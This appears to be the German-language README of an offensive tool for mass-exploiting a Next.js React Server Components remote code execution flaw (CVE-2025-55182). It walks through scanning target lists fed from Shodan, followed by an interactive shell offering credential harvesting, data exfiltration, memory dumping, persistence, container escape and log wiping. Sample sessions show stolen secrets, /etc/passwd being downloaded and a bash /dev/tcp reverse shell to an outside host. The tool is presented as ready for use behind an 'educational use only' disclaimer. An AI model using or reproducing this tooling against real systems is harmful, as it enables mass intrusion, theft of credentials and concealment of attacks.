
R2S is a comprehensive exploitation and post-exploitation framework targeting the Next.js React Server Components vulnerability (CVE-2025-55182). It provides an interactive shell with advanced features for penetration testing, including file transfer, persistence, enumeration, privilege escalation checks, and more.
Erweitertes Post-Exploitation-Framework für Next.js React Server Components RCE
Funktionen • Installation • Verwendung • Befehle • Beispiele
R2S ist ein umfassendes Exploitation- und Post-Exploitation-Framework, das auf die Next.js React Server Components Schwachstelle (CVE-2025-55182) abzielt. Es bietet eine interaktive Shell mit erweiterten Funktionen für Penetrationstests, darunter Dateiübertragung, Persistenz, Enumeration, Privilegienausweitungsprüfungen und mehr.
.env-Dateien und Konfigurationsdateien# Python 3.6 oder höher
python3 --version
# Abhängigkeiten installieren
pip3 install requests urllib3
# Tool klonen oder herunterladen
cd r2s-main
# Ausführbar machen (optional)
chmod +x r2s_enhanced.py
# Tool ausführen
python3 r2s_enhanced.py -h
python3 r2s_enhanced.py [OPTIONEN]
python3 r2s_enhanced.py -u http://target.com
python3 r2s_enhanced.py -l targets.txt -t 50
cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py
Sobald Sie RCE-Zugriff erhalten, gelangen Sie in eine interaktive Shell mit diesen Befehlen:
upload <lokale_datei> <entfernter_pfad> # Datei zum Ziel hochladen
download <entfernte_datei> <lokaler_pfad> # Datei vom Ziel herunterladen
cd <verzeichnis> # Arbeitsverzeichnis wechseln
pwd # Arbeitsverzeichnis anzeigen
enum # Vollständige System-Enumeration
privesc # Privilegienausweitungsprüfungen
harvest # Credential-Harvesting
portscan <ip> # Interne Netzwerk-Ports scannen
memdump [pid] # Prozessspeicher für Geheimnisse auslesen
lateral # Möglichkeiten für laterale Bewegung
escape # Container-Ausbruchsvektoren
exfil [typ] # Daten extrahieren (env/config/keys/db/logs/all)
reverse <lhost> <lport> # Mehrere Reverse-Shell-Payloads ausprobieren
persist # Einfache Persistenz hinzufügen
advpersist # Erweiterte Persistenz hinzufügen
stealth # Logs löschen und Spuren verwischen
save # Aktuelle Sitzung speichern
help, ? # Hilfemeldung anzeigen
exit, quit # Interaktive Shell beenden
Führen Sie jeden Shell-Befehl direkt aus:
whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd
$ python3 r2s_enhanced.py -u http://vulnerable-app.com
_ __ __ ____
/ | / /__ _ __/ /_/ __ \________
/ |/ / _ \| |/_/ __/ /_/ / ___/ _ \
/ /| / __/> </_ _/ _, _/ /__/ __/
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/
Next.js RSC Exploit Tool (CVE-2025-55182)
Mass Scanner & Pipeline Edition (v4.1.0 - Enhanced)
>> CREDIT( G4rxd )
[*] 1 Ziele geladen. Scan mit 30 Threads gestartet...
[*] Payload-Befehl: id
[VULN] http://vulnerable-app.com >>> RCE ERFOLG
Ausgabe: uid=1000(node) gid=1000(node) groups=1000(node)
[+] Zustandsbehaftete interaktive RCE-Shell gestartet. Geben Sie 'help' ein, um Befehle zu sehen.
[*] Erweiterte Funktionen: enum, privesc, persist, portscan, harvest, stealth
[*] Neue Funktionen: memdump, lateral, escape, exfil, advpersist, reverse
[+] HTTP-Server gestartet auf 192.168.1.100:8000
next-rce:/app$
next-rce:/app$ enum
[*] Automatisierte Enumeration gestartet...
============================================================
[*] Systeminformationen
============================================================
Linux 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
============================================================
[*] Aktueller Benutzer
============================================================
node
uid=1000(node) gid=1000(node) groups=1000(node),27(sudo)
============================================================
[*] Container-Erkennung
============================================================
12:devices:/docker/a1b2c3d4e5f6
11:cpuset:/docker/a1b2c3d4e5f6
[Docker-Container erkannt]
...
# Datei hochladen
next-rce:/app$ upload /tmp/exploit.sh /var/tmp/exploit.sh
[*] Lade /tmp/exploit.sh (2048 Bytes) per HTTP hoch...
[+] Hochladen erfolgreich!
-rwxr-xr-x 1 node node 2048 Dez 12 03:28 /var/tmp/exploit.sh
# Datei herunterladen
next-rce:/app$ download /etc/passwd ./passwd.txt
[*] Lade /etc/passwd per HTTP herunter...
[+] Download erfolgreich! (1523 Bytes)
Gespeichert unter: ./passwd.txt
next-rce:/app$ harvest
[*] Sammle Anmeldeinformationen...
[*] Umgebungsvariablen:
DATABASE_PASSWORD=super_secret_pass
API_KEY=sk-1234567890abcdef
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[*] .env-Dateien:
/app/.env
/app/.env.production
/var/www/.env.local
[*] SSH-Schlüssel:
/home/node/.ssh/id_rsa
/root/.ssh/id_rsa
...
next-rce:/app$ reverse 192.168.1.100 4444
[*] Starte Reverse-Shell-Versuche zu 192.168.1.100:4444
[!] Stellen Sie sicher, dass ein Listener läuft: nc -lvnp 4444
[*] Versuche 25 verschiedene Reverse-Shell-Payloads...
[1/25] Versuche Bash TCP... ✓ Ausgeführt
[?] Haben Sie eine Verbindung erhalten? (y/n/s zum Beenden): y
[+] ERFOLG! Reverse-Shell hergestellt mittels: Bash TCP
[*] Payload: bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
$ cat targets.txt
http://app1.example.com
http://app2.example.com
http://app3.example.com
$ python3 r2s_enhanced.py -l targets.txt -t 50
[*] 3 Ziele geladen. Scan mit 50 Threads gestartet...
[VULN] http://app1.example.com >>> RCE ERFOLG
[VULN] http://app3.example.com >>> RCE ERFOLG
[*] Scan abgeschlossen.
next-rce:/app$ privesc
[*] Prüfe Privilegienausweitungsvektoren...
[*] SUID-Binärdateien:
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
[*] Sudo-Berechtigungen:
Benutzer node darf die folgenden Befehle ausführen:
(ALL : ALL) NOPASSWD: /usr/bin/docker
[*] Docker-Socket:
srw-rw---- 1 root docker 0 Dez 12 03:28 /var/run/docker.sock
[*] Docker-Gruppe:
In docker-Gruppe - AUSBEUTBAR!
...
next-rce:/app$ escape
[*] Prüfe Container-Ausbruchsvektoren...
[*] Containertyp:
12:devices:/docker/a1b2c3d4e5f6
[*] Privilegierter Container:
PRIVILEGIERT
[*] Docker-Socket:
srw-rw---- 1 root docker 0 Dez 12 03:28 /var/run/docker.sock
[*] Capabilities:
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
[Volle Capabilities - Container ist privilegiert]
...
Das Tool enthält über 25 Reverse-Shell-Payloads in mehreren Sprachen und Techniken:
Erkennt und extrahiert automatisch Anmeldeinformationen von:
Identifiziert und analysiert:
NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS
Dieses Tool wird ausschließlich zu Bildungszwecken und für autorisierte Penetrationstests bereitgestellt. Die Verwendung dieses Tools zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Anforderungen für die rechtmäßige Nutzung:
Erkennung:
Next-Action-Headerchild_process.execSync in Next.js-LogsSchadensbegrenzung:
Beiträge sind willkommen! Bitte stellen Sie sicher, dass alle Beiträge ausschließlich zu Bildungs- und Verteidigungszwecken dienen.
G4rxd
Dieses Projekt ist lizenziert nur für Bildungszwecke und autorisierte Tests.
⚡ Viel Erfolg beim ethischen Hacken! ⚡
Denken Sie daran: Mit großer Macht kommt große Verantwortung.
| Option | Beschreibung | Standard |
|---|
-u, --url | Einzelne Ziel-URL | - |
-l, --list | Datei mit Liste von URLs | - |
-c, --cmd | Erster auszuführender Befehl | id |
-t, --threads | Anzahl der Scan-Threads | 30 |
-p, --proxy | HTTP-Proxy (z.B. http://127.0.0.1:8080) | - |
-v, --verbose | Ausführliche Ausgabe aktivieren | False |
--http-port | HTTP-Server-Port für Dateiübertragung | 8000 |